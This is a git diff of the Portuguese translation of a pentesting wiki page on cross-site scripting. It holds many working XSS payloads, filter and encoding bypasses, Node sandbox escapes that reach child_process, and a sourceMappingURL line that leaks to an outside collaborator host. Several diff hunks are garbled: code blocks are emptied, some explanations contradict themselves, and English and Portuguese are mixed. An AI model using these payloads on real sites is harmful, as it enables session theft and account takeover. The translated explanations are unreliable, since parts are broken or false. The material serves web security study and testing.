diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index e45d01c46..ebee0d479 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -11,27 +11,27 @@ 1. Verifique se **qualquer valor que você controle** (_parâmetros_, _caminho_, _cabeçalhos_?, _cookies_?) está sendo **refletido** no HTML ou **usado** pelo código **JS**. 2. **Encontre o contexto** onde ele está sendo refletido/usado. 3. Se **refletido** -4. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload: -5. Em **HTML bruto**: -6. Você pode criar novas tags HTML? -7. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`? -8. Você pode contornar proteções? -9. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você pode abusar de uma [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md). -10. Se você não pode criar tags HTML que executam código JS, você pode abusar de uma [**Marcação Pendente - Injeção HTML sem script**](../dangling-markup-html-scriptless-injection/). -11. Dentro de uma **tag HTML**: -12. Você pode sair para o contexto HTML bruto? -13. Você pode criar novos eventos/atributos para executar código JS? -14. O atributo em que você está preso suporta execução de JS? -15. Você pode contornar proteções? -16. Dentro do código **JavaScript**: -17. Você pode escapar da tag ``** * `\';alert(1)//` * Se refletido dentro de literais de modelo, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` * A **codificação Unicode** funciona para escrever **código JavaScript válido**: - ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` - #### Elevação de Javascript A Elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes depois de serem usadas**. Portanto, se você tiver cenários em que pode **injetar código JS depois de um objeto não declarado** ser usado, você pode **corrigir a sintaxe** declarando-o (para que seu código seja executado em vez de gerar um erro): - ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -130,7 +127,6 @@ alert(1); test.cookie('leo','INJECTION') test['cookie','injection'] ``` - Para obter mais informações sobre o Hoisting do JavaScript, verifique: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) ### Função JavaScript @@ -148,7 +144,6 @@ No entanto, mesmo com essa limitação, ainda é possível realizar algumas aç ![](<../../.gitbook/assets/image (662).png>) Algumas funções úteis para isso: - ``` firstElementChild lastElementChild @@ -156,12 +151,11 @@ nextElementSibiling lastElementSibiling parentElement ``` - Você também pode tentar **acionar funções Javascript** diretamente: `obj.sales.delOrders`. No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um DOM **mais interessante** para realizar mais ações. -Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, foi desenvolvida a exploração de **Execução de Método na Mesma Origem (SOME, na sigla em inglês)**: +Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, foi desenvolvida a exploração de **Execução de Método na Mesma Origem (SOME)**: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) @@ -195,17 +189,15 @@ Alguns **exemplos**: ## Injetando dentro de HTML bruto Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar do `<` para criar novas tags: apenas tente **refletir** esse **caractere** e verifique se ele está sendo **codificado em HTML** ou **removido** ou se está sendo **refletido sem alterações**. **Somente nesse último caso você poderá explorar esse caso**.\ -Para esses casos, também **tenha em mente** a [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md)**.**\ -_**Observação: Um comentário HTML pode ser fechado usando\*\*\*\***** ****`-->`**** ****ou \*\*\*\*****`--!>`**_ +Para esses casos, também **tenha em mente** [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md)**.**\ +_**Observação: Um comentário HTML pode ser fechado usando**** ****`-->`**** ****ou**** ****`--!>`**_ Nesse caso, e se não houver uso de listas negras/listas brancas, você pode usar payloads como: - ```javascript ``` - Mas, se estiver sendo utilizado um sistema de lista negra/branca de tags/atributos, você precisará **forçar a entrada para descobrir quais tags** você pode criar.\ Depois de **localizar quais tags são permitidas**, você precisará **forçar a entrada de atributos/eventos** dentro das tags válidas encontradas para ver como pode atacar o contexto. @@ -216,15 +208,12 @@ Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet* ### Tags personalizadas Se você não encontrou nenhuma tag HTML válida, pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código: - ``` /?search=#x ``` - ### Bypassando Listas Negras Se estiver sendo utilizada alguma lista negra, você pode tentar contorná-la com alguns truques bobos: - ```javascript //Random capitalization

XSS

XSS

@@ -333,7 +316,6 @@ Para proteger um site contra ataques de eventos de estilo, é importante impleme #moving your mouse anywhere over the page (0-click-ish):
``` - ### Dentro do atributo Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou excluído), dependendo de **qual atributo** seu valor está sendo refletido, **se você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando clicado.\ @@ -344,7 +326,6 @@ Outro **exemplo** interessante é o atributo `href`, onde você pode usar o prot Os caracteres **codificados em HTML** dentro do valor dos atributos das tags HTML são **decodificados em tempo de execução**. Portanto, algo como o seguinte será válido (o payload está em negrito): `Go Back ` Observe que **qualquer tipo de codificação HTML é válido**: - ```javascript //HTML entities '-alert(1)-' @@ -361,41 +342,40 @@ Observe que **qualquer tipo de codificação HTML é válido**: a a ``` - **Observação: a codificação de URL também funcionará:** - ```python Click ``` - **Bypassar evento interno usando codificação Unicode** -Às vezes, os filtros de segurança podem bloquear certos eventos, como `onclick` ou `onmouseover`, para evitar ataques de Cross-Site Scripting (XSS). No entanto, é possível contornar esses filtros usando a codificação Unicode. +Às vezes, ao tentar explorar uma vulnerabilidade de Cross-Site Scripting (XSS), você pode encontrar filtros que bloqueiam certos caracteres ou palavras-chave. No entanto, é possível contornar esses filtros usando a codificação Unicode. -A codificação Unicode permite representar caracteres especiais usando sequências de escape. Ao usar essa técnica, podemos contornar os filtros de eventos internos, pois o navegador interpretará a sequência de escape como o caractere original. +A codificação Unicode permite representar caracteres especiais usando sequências de escape. Ao usar a codificação Unicode, você pode substituir caracteres bloqueados por suas representações Unicode correspondentes. -Aqui está um exemplo de como usar a codificação Unicode para contornar o filtro `onclick`: +Por exemplo, se o caractere "<" estiver bloqueado, você pode substituí-lo por sua representação Unicode "<". Dessa forma, o filtro não reconhecerá o caractere bloqueado e permitirá que ele passe. + +Aqui está um exemplo de como usar a codificação Unicode para contornar um filtro que bloqueia o caractere "<": ```html - + ``` -Neste exemplo, a sequência de escape `\u0061\u006c\u0065\u0072\u0074` representa a palavra "alert" e `\u0048\u0061\u0063\u006b\u0065\u0064` representa a palavra "hacked". Quando o botão é clicado, o evento `onclick` é acionado e o navegador interpreta as sequências de escape como as palavras originais, executando o código JavaScript correspondente. +Neste exemplo, o caractere "<" é substituído por "\u003c" e o caractere ">" é substituído por "\u003e". Isso permite que o código JavaScript seja executado sem ser bloqueado pelo filtro. -Essa técnica pode ser usada para contornar filtros de eventos internos em várias situações, permitindo a execução de código malicioso em um site vulnerável. No entanto, é importante lembrar que o uso de técnicas de hacking é ilegal e deve ser realizado apenas em um ambiente controlado e com permissão adequada. +Lembre-se de que a codificação Unicode pode variar dependendo do contexto e do conjunto de caracteres usado. Portanto, é importante entender como o filtro está sendo aplicado e adaptar a codificação Unicode de acordo. +Ao usar essa técnica, é essencial garantir que você esteja agindo dentro dos limites legais e éticos. O objetivo é identificar e corrigir vulnerabilidades, não causar danos ou violar a privacidade de outras pessoas. ```javascript //For some reason you can use unicode to encode "alert" but not "(1)" ``` - ### Protocolos Especiais Dentro do Atributo Aqui você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns exigirão interação do usuário, outros não. - ```javascript javascript:alert(1) JavaSCript:alert(1) @@ -415,11 +395,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4= data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg== ``` - **Locais onde você pode injetar esses protocolos** -**Em geral**, o protocolo `javascript:` pode ser **usado em qualquer tag que aceite o atributo `href`** e na **maioria** das tags que aceitam o **atributo `src`** (exceto ` @@ -439,29 +417,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc //https://github.com/evilcos/xss.swf ``` - Observe que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar a **carga útil**, isso **não funcionará**, mas você pode **misturá-los dentro da carga útil**. **Usando codificação Hexadecimal e Octal com `javascript:`** Você pode usar a codificação **Hexadecimal** e **Octal** dentro do atributo `src` do `iframe` (pelo menos) para declarar **tags HTML para executar JS**: - ```javascript //Encoded: // This WORKS @@ -473,35 +445,22 @@ Você pode usar a codificação **Hexadecimal** e **Octal** dentro do atributo ` ``` - ### Reverse tab nabbing Reverse tab nabbing is a type of cross-site scripting (XSS) attack that targets users who have multiple tabs open in their web browser. The attack takes advantage of the trust users have in the websites they visit. When a user opens a new tab and navigates to a different website, the original website can still execute JavaScript code in the background. This allows an attacker to modify the content of the original website and display a phishing page or malicious content. -To perform a reverse tab nabbing attack, the attacker first injects malicious code into a vulnerable website. This code typically includes a JavaScript function that detects when the user switches tabs. When the user switches to a different tab, the malicious code modifies the content of the original website to display the attacker's phishing page. +To execute a reverse tab nabbing attack, the attacker typically embeds malicious code in a link or advertisement on a website. When the user clicks on the link or advertisement and opens a new tab, the attacker's code runs in the background and modifies the content of the original tab. -The phishing page is designed to look like a legitimate login page or a page requesting sensitive information. When the user interacts with this page, their credentials or other sensitive data are sent to the attacker. +The modified content may include a fake login form that captures the user's credentials, or it may redirect the user to a phishing website that steals sensitive information. -To protect against reverse tab nabbing attacks, website owners should implement proper input validation and output encoding to prevent XSS vulnerabilities. Users should also be cautious when switching between tabs and ensure they only enter sensitive information on trusted websites. - -### Reverse tab nabbing (Roubo de guia reverso) - -O roubo de guia reverso é um tipo de ataque de cross-site scripting (XSS) que visa usuários que têm várias guias abertas em seu navegador da web. O ataque se aproveita da confiança que os usuários têm nos sites que visitam. - -Quando um usuário abre uma nova guia e navega para um site diferente, o site original ainda pode executar código JavaScript em segundo plano. Isso permite que um invasor modifique o conteúdo do site original e exiba uma página de phishing ou conteúdo malicioso. - -Para realizar um ataque de roubo de guia reverso, o invasor primeiro injeta código malicioso em um site vulnerável. Esse código geralmente inclui uma função JavaScript que detecta quando o usuário troca de guias. Quando o usuário muda para uma guia diferente, o código malicioso modifica o conteúdo do site original para exibir a página de phishing do invasor. - -A página de phishing é projetada para se parecer com uma página de login legítima ou uma página solicitando informações sensíveis. Quando o usuário interage com essa página, suas credenciais ou outros dados sensíveis são enviados ao invasor. - -Para se proteger contra ataques de roubo de guia reverso, os proprietários de sites devem implementar validação adequada de entrada e codificação de saída para evitar vulnerabilidades de XSS. Os usuários também devem ter cuidado ao alternar entre guias e garantir que eles só insiram informações sensíveis em sites confiáveis. +To protect against reverse tab nabbing attacks, users should be cautious when clicking on links or advertisements, especially when they have multiple tabs open. It is also important to keep web browsers and security software up to date to mitigate the risk of such attacks. +Pentesters can help identify and mitigate reverse tab nabbing vulnerabilities by conducting thorough security assessments and recommending appropriate security measures to protect against XSS attacks. ```javascript //No safari @@ -527,18 +485,14 @@ Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` - ### XSS em "Tags não exploráveis" (input oculto, link, canonical, meta) A partir [**daqui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags), agora é possível abusar de inputs ocultos com: - ```html @@ -546,13 +500,10 @@ E nos **meta tags**:
Newsletter popup
``` - A partir [**daqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que você possa **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de chave de acesso. Aqui está o vetor: - ```markup ``` - **A carga XSS será algo como isto: `" accesskey="x" onclick="alert(1)" x="`** ### Bypasses de Lista Negra @@ -571,7 +522,7 @@ Leia os [Bypasses de Lista Negra da seção anterior](./#bypasses-de-lista-negra **Bypasses para código JavaScript** -Leia o [bypass de lista negra de JavaScript da seção seguinte](./#técnicas-de-bypass-de-lista-negra-de-javascript). +Leia os [bypasses de lista negra de JavaScript da seção seguinte](./#técnicas-de-bypass-de-lista-negra-de-javascript). ### CSS-Gadgets @@ -600,30 +551,25 @@ Nesses casos, sua **entrada** será **refletida dentro do código JS** de um arq ### Escapando a tag \`, você pode facilmente **escapar fechando a tag ` ``` - Observe que neste exemplo **nem mesmo fechamos a aspa simples**, mas isso não é necessário, pois o **navegador primeiro realiza a análise HTML** para identificar os elementos da página, incluindo blocos de script, e só depois realiza a análise JavaScript para entender e executar os scripts incorporados. ### Dentro do código JS Se `<>` estiverem sendo sanitizados, ainda é possível **escapar a string** onde sua entrada está sendo **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, pois se houver erros, o código JS não será executado: - ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` - ### Template literals \`\` Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isso é conhecido como template literals, pois permite **incorporar expressões JS** usando a sintaxe `${ ... }`.\ Portanto, se você perceber que sua entrada está sendo **refletida** dentro de uma string JS que está usando backticks, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**: Isso pode ser **abusado** usando: - ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` @@ -634,7 +580,6 @@ Isso pode ser **abusado** usando: function loop(){return loop} loop`````````````` ``````````````` - ### Execução de código codificado Cross-site scripting (XSS) é uma vulnerabilidade comum em aplicações web que permite que um atacante injete código malicioso em páginas da web visualizadas por outros usuários. Uma forma de explorar essa vulnerabilidade é através da execução de código codificado. @@ -661,20 +606,18 @@ Quando um usuário realiza uma pesquisa e visualiza os resultados, o código mal Para prevenir a execução de código codificado, é importante implementar práticas de segurança adequadas em aplicações web. Algumas medidas de prevenção incluem: -* Validar e sanitizar todos os dados de entrada antes de exibi-los em páginas da web. -* Utilizar mecanismos de escape adequados para caracteres especiais. -* Implementar listas de permissões para permitir apenas determinados tipos de entrada. -* Utilizar bibliotecas e frameworks seguros que possuam recursos de segurança embutidos. +- Validar e sanitizar todos os dados de entrada antes de exibi-los em páginas da web. +- Utilizar mecanismos de escape adequados para caracteres especiais. +- Implementar listas de permissões para permitir apenas determinados tipos de entrada. +- Utilizar bibliotecas e frameworks seguros que possuam recursos de segurança embutidos. Além disso, é importante manter-se atualizado sobre as últimas vulnerabilidades e técnicas de exploração, a fim de proteger efetivamente as aplicações web contra ataques de XSS. - ```markup ``` - **Javascript dentro de um comentário** -Quando se trata de ataques de Cross-Site Scripting (XSS), é importante estar ciente de que o código JavaScript pode ser executado não apenas em elementos HTML, mas também dentro de comentários. Isso significa que, se um site não estiver devidamente protegido contra XSS, um invasor pode injetar código malicioso dentro de um comentário e explorar essa vulnerabilidade. +Quando se trata de ataques de Cross-Site Scripting (XSS), é importante estar ciente de que o código JavaScript pode ser injetado não apenas em campos de entrada de dados, mas também em comentários. Isso ocorre porque os comentários em HTML não são processados pelo navegador e, portanto, o código JavaScript dentro deles não é executado. -Para realizar um ataque XSS usando JavaScript dentro de um comentário, o invasor pode inserir o código malicioso entre os delimitadores de comentário ``. Por exemplo: - -```html - -``` - -Quando o navegador renderiza a página, ele ignora o conteúdo dentro dos delimitadores de comentário. No entanto, o código JavaScript dentro do comentário ainda será executado, permitindo que o invasor execute ações maliciosas no contexto do usuário. - -É importante ressaltar que, embora o código JavaScript dentro de um comentário não seja visível para os usuários, ele ainda pode ser executado pelo navegador. Portanto, é fundamental implementar medidas de segurança adequadas para evitar ataques XSS, como a validação e sanitização corretas dos dados de entrada, bem como o uso de recursos de segurança, como Content Security Policy (CSP). +No entanto, é importante ressaltar que, embora o código JavaScript dentro de um comentário não seja executado pelo navegador, ele ainda pode ser visível para os usuários que visualizam o código-fonte da página. Portanto, é fundamental garantir que nenhum código malicioso seja inserido em comentários, pois isso pode expor informações sensíveis ou comprometer a segurança do aplicativo. +Ao realizar testes de penetração em um aplicativo da web, é recomendável verificar se há vulnerabilidades de XSS em campos de entrada de dados, bem como em áreas onde os usuários podem inserir comentários. Isso ajudará a garantir que o aplicativo esteja protegido contra ataques de XSS em todas as áreas possíveis. ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` - **JavaScript sem parênteses** O XSS (Cross-Site Scripting) é uma vulnerabilidade comum em aplicações web que permite que um invasor injete código JavaScript malicioso em páginas da web visualizadas por outros usuários. Uma técnica comum usada em ataques XSS é explorar a capacidade do JavaScript de ser executado sem a necessidade de parênteses. -Quando o código JavaScript é inserido em um contexto onde os parênteses não são necessários, o invasor pode explorar essa vulnerabilidade para injetar código malicioso. Isso ocorre porque o JavaScript interpretará o código sem a necessidade de parênteses, permitindo que o invasor execute comandos indesejados. +Quando o código JavaScript é inserido em um contexto onde os parênteses não são necessários, o invasor pode explorar essa vulnerabilidade para injetar código malicioso. Por exemplo, em um campo de entrada de texto, o invasor pode inserir o seguinte código: -Para evitar ataques XSS baseados em JavaScript sem parênteses, é importante implementar práticas de segurança adequadas, como a validação e sanitização de entrada de dados, o uso de codificação apropriada e a implementação de listas de permissões para caracteres e tags permitidos. +```javascript + +``` -Além disso, é fundamental manter-se atualizado sobre as últimas técnicas de ataque XSS e garantir que as aplicações web sejam regularmente testadas quanto a vulnerabilidades. A realização de testes de penetração (pentesting) é uma maneira eficaz de identificar e corrigir vulnerabilidades antes que elas possam ser exploradas por invasores mal-intencionados. +Quando a página é carregada e o código é executado, uma caixa de diálogo de alerta será exibida com a mensagem "XSS executado!". +Para evitar ataques XSS, é importante validar e sanitizar todas as entradas de usuário e escapar corretamente os caracteres especiais. Além disso, é recomendável implementar uma política de segurança de conteúdo (CSP) para restringir a execução de scripts não confiáveis. + +É fundamental que os desenvolvedores estejam cientes dessa técnica de XSS e tomem as medidas adequadas para proteger suas aplicações web contra esse tipo de ataque. ````javascript // By setting location window.location='javascript:alert\x281\x29' @@ -934,12 +860,10 @@ try{throw onerror=alert}catch{throw 1} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` - * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Chamada de função arbitrária (alerta)** - ````javascript //Eval like functions eval('ale'+'rt(1)') @@ -999,17 +923,16 @@ top['al\x65rt'](1) top[8680439..toString(30)](1) ```` - ## **Vulnerabilidades DOM** -Existe **código JS** que está usando **dados controlados por um atacante de forma insegura**, como `location.href`. Um atacante pode abusar disso para executar código JS arbitrário.\ +Existe **código JS** que está usando **dados controlados por um atacante de forma insegura**, como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.\ **Devido à extensão da explicação das** [**vulnerabilidades DOM, ela foi movida para esta página**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} -Lá você encontrará uma **explicação detalhada sobre o que são as vulnerabilidades DOM, como elas são provocadas e como explorá-las**.\ +Lá você encontrará uma explicação detalhada sobre o que são as **vulnerabilidades DOM, como elas são provocadas e como explorá-las**.\ Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**ataques de Clobbering DOM**](dom-xss.md#dom-clobbering). ## Outros Bypasses @@ -1019,26 +942,20 @@ Além disso, não se esqueça que **no final do post mencionado** você pode enc Você pode verificar se os **valores refletidos** estão sendo **normalizados em unicode** no servidor (ou no lado do cliente) e abusar dessa funcionalidade para contornar as proteções. [**Encontre um exemplo aqui**](../unicode-injection/#xss-cross-site-scripting). ### Bypass do sinalizador PHP FILTER\_VALIDATE\_EMAIL - ```javascript ">"@x.y ``` - ### Bypass do Ruby-On-Rails Devido à **atribuição em massa do RoR**, aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\ -Por exemplo de formulário ([desse relatório](https://hackerone.com/reports/709336)), se você enviar o payload: - +Por exemplo, no formulário ([neste relatório](https://hackerone.com/reports/709336)), se você enviar o payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` - O par "Key","Value" será ecoado de volta assim: - ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` - Em seguida, o atributo onfocus será inserido: ![](<../../.gitbook/assets/image (107).png>) @@ -1046,7 +963,6 @@ Em seguida, o atributo onfocus será inserido: Ocorre um XSS. ### Combinações especiais - ```markup \"/\"src=\"/\"onerror=eval(id) +(function(x){this[x+`ert`](1)})`al` +window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) +document['default'+'View'][`\u0061lert`](3) ``` - ### XSS com injeção de cabeçalho em uma resposta 302 Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar fazer com que o navegador execute JavaScript arbitrário. Isso não é trivial, pois os navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, portanto, apenas uma carga útil de script entre sites é inútil. -Neste [**relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute a carga útil de XSS dentro do corpo.\ +Neste [**relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute a carga útil de XSS dentro do corpo.\ Protocolos conhecidos anteriormente: `mailto://`, `//x:1/`, `ws://`, `wss://`, cabeçalho Location vazio, `resource://`. ### Apenas letras, números e pontos @@ -1092,7 +1010,6 @@ Se você puder indicar o **callback** que o JavaScript vai **executar** limitado > Recusou-se a executar o script de '[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque seu tipo MIME ('application/octet-stream') não é executável e a verificação estrita do tipo MIME está habilitada. Os únicos **tipos de conteúdo** que o Chrome suportará para executar um script carregado são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) - ```c const char* const kSupportedJavascriptTypes[] = { "application/ecmascript", @@ -1114,20 +1031,16 @@ const char* const kSupportedJavascriptTypes[] = { }; ``` - ### Tipos de Scripts para XSS (De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Então, quais tipos podem ser indicados para carregar um script? - ```html ``` - A resposta é: * **módulo** (padrão, nada a explicar) * [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS...) em um arquivo **`.wbn`**. - ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` - * [**importmap**](https://github.com/WICG/import-maps)**:** Permite melhorar a sintaxe de importação - ```html ``` - Esse comportamento foi utilizado neste [**relatório**](https://github.com/zwade/yaca/tree/master/solution) para remapear uma biblioteca para eval e abusá-la, podendo desencadear XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Essa funcionalidade é principalmente para resolver alguns problemas causados pelo pré-renderização. Funciona da seguinte forma: - ```html ``` - ### Tipos de Conteúdo da Web para XSS (De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores: @@ -1195,7 +1103,6 @@ Em outros navegadores, outros **`Tipos de Conteúdo`** podem ser usados para exe ### Tipo de Conteúdo xml Se a página estiver retornando um tipo de conteúdo text/xml, é possível indicar um namespace e executar JS arbitrário: - ```xml hello @@ -1203,7 +1110,6 @@ Se a página estiver retornando um tipo de conteúdo text/xml, é possível indi ``` - ### Padrões Especiais de Substituição Quando algo como **`"alguns dados {{template}}".replace("{{template}}", )`** é usado. O atacante pode usar [**substituições especiais de string**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para tentar contornar algumas proteções: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` @@ -1219,7 +1125,6 @@ Por exemplo, neste [**artigo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ### Escapando de XS Jails Se você só tem um conjunto limitado de caracteres para usar, verifique essas outras soluções válidas para problemas de XSJail: - ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -1250,27 +1155,22 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` - Se **tudo é indefinido** antes de executar código não confiável (como neste [**artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código arbitrário não confiável: * Usando import() - ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - * Acessando `require` indiretamente [De acordo com isso](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são envolvidos pelo Node.js dentro de uma função, como mostrado abaixo: - ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` - -Portanto, se a partir desse módulo podemos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**: +Portanto, se a partir desse módulo podemos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**: {% code overflow="wrap" %} ```javascript @@ -1279,7 +1179,6 @@ Portanto, se a partir desse módulo podemos **chamar outra função**, é possí {% endcode %} De forma semelhante ao exemplo anterior, é possível **usar manipuladores de erros** para acessar o **invólucro** do módulo e obter a função **`require`**: - ```javascript try { null.f() @@ -1316,7 +1215,6 @@ console.log(req('child_process').execSync('id').toString()) } trigger() ``` - ### Ofuscação e Bypass Avançado * **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) @@ -1329,7 +1227,6 @@ trigger() * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) - ```javascript //Katana @@ -1340,7 +1237,7 @@ trigger() ``` -````javascript +```javascript //JSFuck @@ -1368,10 +1265,10 @@ Uma vez identificado o ponto de entrada, o atacante pode inserir um payload mali Para prevenir ataques de XSS, é importante implementar práticas de segurança adequadas, como: -- **Sanitização de entrada**: Certifique-se de que todos os dados de entrada sejam corretamente sanitizados e escapados antes de serem exibidos em páginas web. +- **Sanitização de entrada**: Certifique-se de que todos os dados de entrada sejam devidamente sanitizados e escapados antes de serem exibidos em páginas web. - **Validação de entrada**: Verifique se os dados de entrada atendem aos critérios esperados antes de processá-los. - **Utilização de cabeçalhos de segurança**: Configure cabeçalhos HTTP, como o Content-Security-Policy, para restringir o carregamento de scripts de fontes não confiáveis. -- **Utilização de bibliotecas seguras**: Utilize bibliotecas e frameworks que possuam mecanismos de proteção contra XSS embutidos. +- **Codificação correta**: Use funções de codificação adequadas ao exibir dados em páginas web, como htmlspecialchars() em PHP ou encodeURI() em JavaScript. ## Exemplo de Payload de XSS @@ -1382,19 +1279,17 @@ O seguinte 